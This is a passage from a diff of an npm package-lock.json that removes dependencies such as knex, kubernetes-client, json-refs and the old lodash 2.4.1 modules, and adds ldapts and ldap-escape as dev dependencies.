+- "node_modules/istanbul/node_modules/js-yaml/node_modules/esprima": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
+- "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+- "dev": true,
+- "bin": {
+- "esparse": "bin/esparse.js",
+- "esvalidate": "bin/esvalidate.js"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/istanbul/node_modules/nopt": {
+- "version": "3.0.6",
+- "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz",
+- "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=",
+- "dev": true,
+- "dependencies": {
+- "abbrev": "1"
+- },
+- "bin": {
+- "nopt": "bin/nopt.js"
+- }
+- },
+- "node_modules/istanbul/node_modules/resolve": {
+- "version": "1.1.7",
+- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz",
+- "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=",
+- "dev": true
+- },
+- "node_modules/istanbul/node_modules/source-map": {
+- "version": "0.2.0",
+- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.2.0.tgz",
+- "integrity": "sha1-2rc/vPwrqBm03gO9b26qSBZLP50=",
+- "dev": true,
+- "optional": true,
+- "dependencies": {
+- "amdefine": ">=0.0.4"
+- },
+- "engines": {
+- "node": ">=0.8.0"
+- }
+- },
+- "node_modules/istanbul/node_modules/supports-color": {
+- "version": "3.2.3",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz",
+- "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=",
+- "dev": true,
+- "dependencies": {
+- "has-flag": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.8.0"
+- }
+- },
+- "node_modules/istanbul/node_modules/which": {
+- "version": "1.3.1",
+- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+- "dev": true,
+- "dependencies": {
+- "isexe": "^2.0.0"
+- },
+- "bin": {
+- "which": "bin/which"
+- }
+- },
+ "node_modules/jest-worker": {
+ "version": "27.5.1",
+ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
+@@ -18056,26 +14829,6 @@
+ "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.2.4.tgz",
+ "integrity": "sha1-LInWiJterFIqfuoywUUhVZxsvwI="
+ },
+- "node_modules/js-beautify": {
+- "version": "1.14.0",
+- "resolved": "https://registry.npmjs.org/js-beautify/-/js-beautify-1.14.0.tgz",
+- "integrity": "sha512-yuck9KirNSCAwyNJbqW+BxJqJ0NLJ4PwBUzQQACl5O3qHMBXVkXb/rD0ilh/Lat/tn88zSZ+CAHOlk0DsY7GuQ==",
+- "dev": true,
+- "dependencies": {
+- "config-chain": "^1.1.12",
+- "editorconfig": "^0.15.3",
+- "glob": "^7.1.3",
+- "nopt": "^5.0.0"
+- },
+- "bin": {
+- "css-beautify": "js/bin/css-beautify.js",
+- "html-beautify": "js/bin/html-beautify.js",
+- "js-beautify": "js/bin/js-beautify.js"
+- },
+- "engines": {
+- "node": ">=10"
+- }
+- },
+ "node_modules/js-stringify": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz",
+@@ -18090,6 +14843,7 @@
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
+ "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
++ "dev": true,
+ "dependencies": {
+ "argparse": "^2.0.1"
+ },
+@@ -18367,11 +15121,6 @@
+ "bignumber.js": "^9.0.0"
+ }
+ },
+- "node_modules/json-buffer": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
+- "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg="
+- },
+ "node_modules/json-parse-better-errors": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
+@@ -18383,55 +15132,6 @@
+ "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
+ "dev": true
+ },
+- "node_modules/json-refs": {
+- "version": "3.0.15",
+- "resolved": "https://registry.npmjs.org/json-refs/-/json-refs-3.0.15.tgz",
+- "integrity": "sha512-0vOQd9eLNBL18EGl5yYaO44GhixmImes2wiYn9Z3sag3QnehWrYWlB9AFtMxCL2Bj3fyxgDYkxGFEU/chlYssw==",
+- "dependencies": {
+- "commander": "~4.1.1",
+- "graphlib": "^2.1.8",
+- "js-yaml": "^3.13.1",
+- "lodash": "^4.17.15",
+- "native-promise-only": "^0.8.1",
+- "path-loader": "^1.0.10",
+- "slash": "^3.0.0",
+- "uri-js": "^4.2.2"
+- },
+- "bin": {
+- "json-refs": "bin/json-refs"
+- },
+- "engines": {
+- "node": ">=0.8"
+- }
+- },
+- "node_modules/json-refs/node_modules/argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "dependencies": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "node_modules/json-refs/node_modules/js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "dependencies": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- },
+- "bin": {
+- "js-yaml": "bin/js-yaml.js"
+- }
+- },
+- "node_modules/json-refs/node_modules/slash": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+- "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+- "engines": {
+- "node": ">=8"
+- }
+- },
+ "node_modules/json-schema": {
+ "version": "0.4.0",
+ "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
+@@ -18448,11 +15148,6 @@
+ "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=",
+ "dev": true
+ },
+- "node_modules/json-stream": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/json-stream/-/json-stream-1.0.0.tgz",
+- "integrity": "sha1-GjhU4o0rvuqzHMfd9oPS3cVlJwg="
+- },
+ "node_modules/json-stringify-safe": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
+@@ -18514,14 +15209,6 @@
+ "node >= 0.2.0"
+ ]
+ },
+- "node_modules/jsonpath-plus": {
+- "version": "0.19.0",
+- "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-0.19.0.tgz",
+- "integrity": "sha512-GSVwsrzW9LsA5lzsqe4CkuZ9wp+kxBb2GwNniaWzI2YFn5Ig42rSW8ZxVpWXaAfakXNrx5pgY5AbQq7kzX29kg==",
+- "engines": {
+- "node": ">=6.0"
+- }
+- },
+ "node_modules/JSONStream": {
+ "version": "1.3.5",
+ "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz",
+@@ -18896,18 +15583,11 @@
+ "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.2.1.tgz",
+ "integrity": "sha512-Rdgz9Hl9Iv4QKi8b0OlCRQEzp4AgVxyCtz5S/+VIHezDmrDhkp2N2TqBWOLz0/gbeREXOOiI9/4b8BY9uw2vFg=="
+ },
+- "node_modules/keyv": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz",
+- "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==",
+- "dependencies": {
+- "json-buffer": "3.0.0"
+- }
+- },
+ "node_modules/kind-of": {
+ "version": "6.0.3",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+ "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -18938,188 +15618,6 @@
+ "node": ">= 8"
+ }
+ },
+- "node_modules/knex": {
+- "version": "0.21.21",
+- "resolved": "https://registry.npmjs.org/knex/-/knex-0.21.21.tgz",
+- "integrity": "sha512-cjw5qO1EzVKjbywcVa61IQJMLt7PfYBRI/2NwCA/B9beXgbw652wDNLz+JM+UKKNsfwprq0ugYqBYc9q4JN36A==",
+- "dependencies": {
+- "colorette": "1.2.1",
+- "commander": "^6.2.0",
+- "debug": "4.3.1",
+- "esm": "^3.2.25",
+- "getopts": "2.2.5",
+- "interpret": "^2.2.0",
+- "liftoff": "3.1.0",
+- "lodash": "^4.17.20",
+- "pg-connection-string": "2.4.0",
+- "tarn": "^3.0.1",
+- "tildify": "2.0.0",
+- "v8flags": "^3.2.0"
+- },
+- "bin": {
+- "knex": "bin/cli.js"
+- },
+- "engines": {
+- "node": ">=10"
+- },
+- "peerDependencies": {
+- "mssql": "^6.2.1",
+- "mysql": "^2.18.1",
+- "mysql2": "^2.1.0",
+- "pg": "^8.3.0",
+- "sqlite3": "^5.0.0"
+- },
+- "peerDependenciesMeta": {
+- "mssql": {
+- "optional": true
+- },
+- "mysql": {
+- "optional": true
+- },
+- "mysql2": {
+- "optional": true
+- },
+- "pg": {
+- "optional": true
+- },
+- "sqlite3": {
+- "optional": true
+- }
+- }
+- },
+- "node_modules/knex/node_modules/commander": {
+- "version": "6.2.1",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz",
+- "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==",
+- "engines": {
+- "node": ">= 6"
+- }
+- },
+- "node_modules/knex/node_modules/debug": {
+- "version": "4.3.1",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+- "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+- "dependencies": {
+- "ms": "2.1.2"
+- },
+- "engines": {
+- "node": ">=6.0"
+- },
+- "peerDependenciesMeta": {
+- "supports-color": {
+- "optional": true
+- }
+- }
+- },
+- "node_modules/knex/node_modules/ms": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+- },
+- "node_modules/knex/node_modules/pg-connection-string": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.4.0.tgz",
+- "integrity": "sha512-3iBXuv7XKvxeMrIgym7njT+HlZkwZqqGX4Bu9cci8xHZNT+Um1gWKqCsAzcC0d95rcKMU5WBg6YRUcHyV0HZKQ=="
+- },
+- "node_modules/knox": {
+- "version": "0.9.2",
+- "resolved": "https://registry.npmjs.org/knox/-/knox-0.9.2.tgz",
+- "integrity": "sha1-NzZZNmniTwJP2vcjtqHcSv2DmnE=",
+- "dependencies": {
+- "debug": "^1.0.2",
+- "mime": "*",
+- "once": "^1.3.0",
+- "stream-counter": "^1.0.0",
+- "xml2js": "^0.4.4"
+- },
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "node_modules/knox/node_modules/debug": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-1.0.5.tgz",
+- "integrity": "sha1-9yQSF0MPmd7EwrRz6rkiKOh0wqw=",
+- "dependencies": {
+- "ms": "2.0.0"
+- }
+- },
+- "node_modules/knox/node_modules/ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+- "node_modules/kubernetes-client": {
+- "version": "8.3.7",
+- "resolved": "https://registry.npmjs.org/kubernetes-client/-/kubernetes-client-8.3.7.tgz",
+- "integrity": "sha512-A0rvfQAvwAuPTooBOSErpTcnwcQxhkmawjOm/gUdGDWCUZoYmAVgVGFnc/klda+X1tvHwleavDsLqmqaYscH2w==",
+- "dependencies": {
+- "@kubernetes/client-node": "0.10.2",
+- "camelcase": "^6.0.0",
+- "deepmerge": "^4.2.2",
+- "depd": "^2.0.0",
+- "js-yaml": "^3.13.1",
+- "json-stream": "^1.0.0",
+- "openid-client": "^3.14.0",
+- "pump": "^3.0.0",
+- "qs": "^6.9.0",
+- "request": "^2.88.2",
+- "swagger-fluent": "^5.0.1",
+- "url-join": "^4.0.1",
+- "ws": "^7.2.3"
+- },
+- "engines": {
+- "node": ">=10.13.0"
+- }
+- },
+- "node_modules/kubernetes-client/node_modules/argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "dependencies": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "node_modules/kubernetes-client/node_modules/depd": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+- "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "node_modules/kubernetes-client/node_modules/js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "dependencies": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- },
+- "bin": {
+- "js-yaml": "bin/js-yaml.js"
+- }
+- },
+- "node_modules/kubernetes-client/node_modules/ws": {
+- "version": "7.5.6",
+- "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.6.tgz",
+- "integrity": "sha512-6GLgCqo2cy2A2rjCNFlxQS6ZljG/coZfZXclldI8FB/1G3CCI36Zd8xy2HrFVACi8tfk5XrgLQEk+P0Tnz9UcA==",
+- "engines": {
+- "node": ">=8.3.0"
+- },
+- "peerDependencies": {
+- "bufferutil": "^4.0.1",
+- "utf-8-validate": "^5.0.2"
+- },
+- "peerDependenciesMeta": {
+- "bufferutil": {
+- "optional": true
+- },
+- "utf-8-validate": {
+- "optional": true
+- }
+- }
+- },
+ "node_modules/language-subtag-registry": {
+ "version": "0.3.21",
+ "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.21.tgz",
+@@ -19194,6 +15692,12 @@
+ "safe-buffer": "~5.1.0"
+ }
+ },
++ "node_modules/ldap-escape": {
++ "version": "2.0.6",
++ "resolved": "https://registry.npmjs.org/ldap-escape/-/ldap-escape-2.0.6.tgz",
++ "integrity": "sha512-M0mZojh0QIDSDkA0+M5Zopqz3Ku5DNs1/Q8VqWO5l3Pjx1J2p71c9WksQIDQQKmd1XkV3N2NZFwcBFLJSm1l1w==",
++ "dev": true
++ },
+ "node_modules/ldap-filter": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/ldap-filter/-/ldap-filter-0.2.2.tgz",
+@@ -19362,6 +15866,65 @@
+ "nopt": "bin/nopt.js"
+ }
+ },
++ "node_modules/ldapts": {
++ "version": "3.2.4",
++ "resolved": "https://registry.npmjs.org/ldapts/-/ldapts-3.2.4.tgz",
++ "integrity": "sha512-33QJQglDdAdwOWMy7E8T4BQYizAAsH+jalAVg+9xUE4SQhenezRa2mSgH5s9jRfz0fxw3GP6f8GeqX0+tfqMeQ==",
++ "dev": true,
++ "dependencies": {
++ "@types/asn1": ">=0.2.0",
++ "@types/node": ">=12.13",
++ "@types/uuid": ">=8",
++ "asn1": "~0.2.6",
++ "debug": "~4.3.4",
++ "strict-event-emitter-types": "~2.0.0",
++ "uuid": "~8.3.2"
++ },
++ "engines": {
++ "node": ">=12"
++ }
++ },
++ "node_modules/ldapts/node_modules/asn1": {
++ "version": "0.2.6",
++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
++ "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
++ "dev": true,
++ "dependencies": {
++ "safer-buffer": "~2.1.0"
++ }
++ },
++ "node_modules/ldapts/node_modules/debug": {
++ "version": "4.3.4",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
++ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
++ "dev": true,
++ "dependencies": {
++ "ms": "2.1.2"
++ },
++ "engines": {
++ "node": ">=6.0"
++ },
++ "peerDependenciesMeta": {
++ "supports-color": {
++ "optional": true
++ }
++ }
++ },
++ "node_modules/ldapts/node_modules/ms": {
++ "version": "2.1.2",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
++ "dev": true
++ },
++ "node_modules/ldapts/node_modules/uuid": {
++ "version": "8.3.2",
++ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
++ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
++ "dev": true,
++ "bin": {
++ "uuid": "dist/bin/uuid"
++ }
++ },
+ "node_modules/lead": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz",
+@@ -19534,24 +16097,6 @@
+ "node": ">= 0.8.0"
+ }
+ },
+- "node_modules/liftoff": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/liftoff/-/liftoff-3.1.0.tgz",
+- "integrity": "sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==",
+- "dependencies": {
+- "extend": "^3.0.0",
+- "findup-sync": "^3.0.0",
+- "fined": "^1.0.1",
+- "flagged-respawn": "^1.0.0",
+- "is-plain-object": "^2.0.4",
+- "object.map": "^1.0.0",
+- "rechoir": "^0.6.2",
+- "resolve": "^1.1.7"
+- },
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+ "node_modules/lilconfig": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz",
+@@ -19561,11 +16106,6 @@
+ "node": ">=10"
+ }
+ },
+- "node_modules/line-reader": {
+- "version": "0.2.4",
+- "resolved": "https://registry.npmjs.org/line-reader/-/line-reader-0.2.4.tgz",
+- "integrity": "sha1-xDkrWH3qOFgMlnhXDm6OSfzlJiI="
+- },
+ "node_modules/lines-and-columns": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+@@ -19700,173 +16240,17 @@
+ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz",
+ "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw=="
+ },
+- "node_modules/lodash._arraypool": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._arraypool/-/lodash._arraypool-2.4.1.tgz",
+- "integrity": "sha1-6I7suS4ruEyQZWEv2VigcZzUf5Q="
+- },
+- "node_modules/lodash._basebind": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._basebind/-/lodash._basebind-2.4.1.tgz",
+- "integrity": "sha1-6UC5690nwyfgqNqxtVkWxTQelXU=",
+- "dependencies": {
+- "lodash._basecreate": "~2.4.1",
+- "lodash._setbinddata": "~2.4.1",
+- "lodash._slice": "~2.4.1",
+- "lodash.isobject": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._baseclone": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._baseclone/-/lodash._baseclone-2.4.1.tgz",
+- "integrity": "sha1-MPgj5X4X43NdODvWK2Czh1Q7QYY=",
+- "dependencies": {
+- "lodash._getarray": "~2.4.1",
+- "lodash._releasearray": "~2.4.1",
+- "lodash._slice": "~2.4.1",
+- "lodash.assign": "~2.4.1",
+- "lodash.foreach": "~2.4.1",
+- "lodash.forown": "~2.4.1",
+- "lodash.isarray": "~2.4.1",
+- "lodash.isobject": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._basecreate": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-2.4.1.tgz",
+- "integrity": "sha1-+Ob1tXip405UEXm1a47uv0oofgg=",
+- "dependencies": {
+- "lodash._isnative": "~2.4.1",
+- "lodash.isobject": "~2.4.1",
+- "lodash.noop": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._basecreatecallback": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._basecreatecallback/-/lodash._basecreatecallback-2.4.1.tgz",
+- "integrity": "sha1-fQsmdknLKeehOdAQO3wR+uhOSFE=",
+- "dependencies": {
+- "lodash._setbinddata": "~2.4.1",
+- "lodash.bind": "~2.4.1",
+- "lodash.identity": "~2.4.1",
+- "lodash.support": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._basecreatewrapper": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._basecreatewrapper/-/lodash._basecreatewrapper-2.4.1.tgz",
+- "integrity": "sha1-TTHy595+E0+/KAN2K4FQsyUZZm8=",
+- "dependencies": {
+- "lodash._basecreate": "~2.4.1",
+- "lodash._setbinddata": "~2.4.1",
+- "lodash._slice": "~2.4.1",
+- "lodash.isobject": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._createwrapper": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._createwrapper/-/lodash._createwrapper-2.4.1.tgz",
+- "integrity": "sha1-UdaVeXPaTtVW43KQ2MGhjFPeFgc=",
+- "dependencies": {
+- "lodash._basebind": "~2.4.1",
+- "lodash._basecreatewrapper": "~2.4.1",
+- "lodash._slice": "~2.4.1",
+- "lodash.isfunction": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._getarray": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._getarray/-/lodash._getarray-2.4.1.tgz",
+- "integrity": "sha1-+vH3+BD6mFolHCGHQESBCUg55e4=",
+- "dependencies": {
+- "lodash._arraypool": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._isnative": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._isnative/-/lodash._isnative-2.4.1.tgz",
+- "integrity": "sha1-PqZAS3hKe+g2x7V1gOHN95sUgyw="
+- },
+- "node_modules/lodash._maxpoolsize": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._maxpoolsize/-/lodash._maxpoolsize-2.4.1.tgz",
+- "integrity": "sha1-nUgvRjuOZq++WcLBTtsRcGAXIzQ="
+- },
+- "node_modules/lodash._objecttypes": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._objecttypes/-/lodash._objecttypes-2.4.1.tgz",
+- "integrity": "sha1-fAt/admKH3ZSn4kLDNsbTf7BHBE="
+- },
+ "node_modules/lodash._reinterpolate": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz",
+ "integrity": "sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=",
+ "dev": true
+ },
+- "node_modules/lodash._releasearray": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._releasearray/-/lodash._releasearray-2.4.1.tgz",
+- "integrity": "sha1-phOWMNdtFTawfdyAliiJsIL2pkE=",
+- "dependencies": {
+- "lodash._arraypool": "~2.4.1",
+- "lodash._maxpoolsize": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._setbinddata": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._setbinddata/-/lodash._setbinddata-2.4.1.tgz",
+- "integrity": "sha1-98IAzRuS7yNrOZ7s9zxkjReqlNI=",
+- "dependencies": {
+- "lodash._isnative": "~2.4.1",
+- "lodash.noop": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._shimkeys": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._shimkeys/-/lodash._shimkeys-2.4.1.tgz",
+- "integrity": "sha1-bpzJZm/wgfC1psl4uD4kLmlJ0gM=",
+- "dependencies": {
+- "lodash._objecttypes": "~2.4.1"
+- }
+- },
+- "node_modules/lodash._slice": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash._slice/-/lodash._slice-2.4.1.tgz",
+- "integrity": "sha1-dFz0GlNZexj2iImFREBe+isG2Q8="
+- },
+- "node_modules/lodash.assign": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-2.4.1.tgz",
+- "integrity": "sha1-hMOVlt1xGBqXsGUpE6fJZ15Jsao=",
+- "dependencies": {
+- "lodash._basecreatecallback": "~2.4.1",
+- "lodash._objecttypes": "~2.4.1",
+- "lodash.keys": "~2.4.1"
+- }
+- },
+- "node_modules/lodash.bind": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.bind/-/lodash.bind-2.4.1.tgz",
+- "integrity": "sha1-XRn6AFyMTSNvr0dCx7eh/Kvikmc=",
+- "dependencies": {
+- "lodash._createwrapper": "~2.4.1",
+- "lodash._slice": "~2.4.1"
+- }
+- },
+ "node_modules/lodash.camelcase": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz",
+ "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY="
+ },
+- "node_modules/lodash.clonedeep": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-2.4.1.tgz",
+- "integrity": "sha1-8pIDtAsS/uCkXTYxZIJZvrq8eGg=",
+- "dependencies": {
+- "lodash._baseclone": "~2.4.1",
+- "lodash._basecreatecallback": "~2.4.1"
+- }
+- },
+ "node_modules/lodash.debounce": {
+ "version": "4.0.8",
+ "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+@@ -19893,25 +16277,6 @@
+ "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=",
+ "dev": true
+ },
+- "node_modules/lodash.foreach": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-2.4.1.tgz",
+- "integrity": "sha1-/j/Do0yGyUyrb5UiVgKCdB4BYwk=",
+- "dependencies": {
+- "lodash._basecreatecallback": "~2.4.1",
+- "lodash.forown": "~2.4.1"
+- }
+- },
+- "node_modules/lodash.forown": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.forown/-/lodash.forown-2.4.1.tgz",
+- "integrity": "sha1-eLQer+FAX6lmRZ6kGT/VAtCEUks=",
+- "dependencies": {
+- "lodash._basecreatecallback": "~2.4.1",
+- "lodash._objecttypes": "~2.4.1",
+- "lodash.keys": "~2.4.1"
+- }
+- },
+ "node_modules/lodash.frompairs": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/lodash.frompairs/-/lodash.frompairs-4.0.1.tgz",
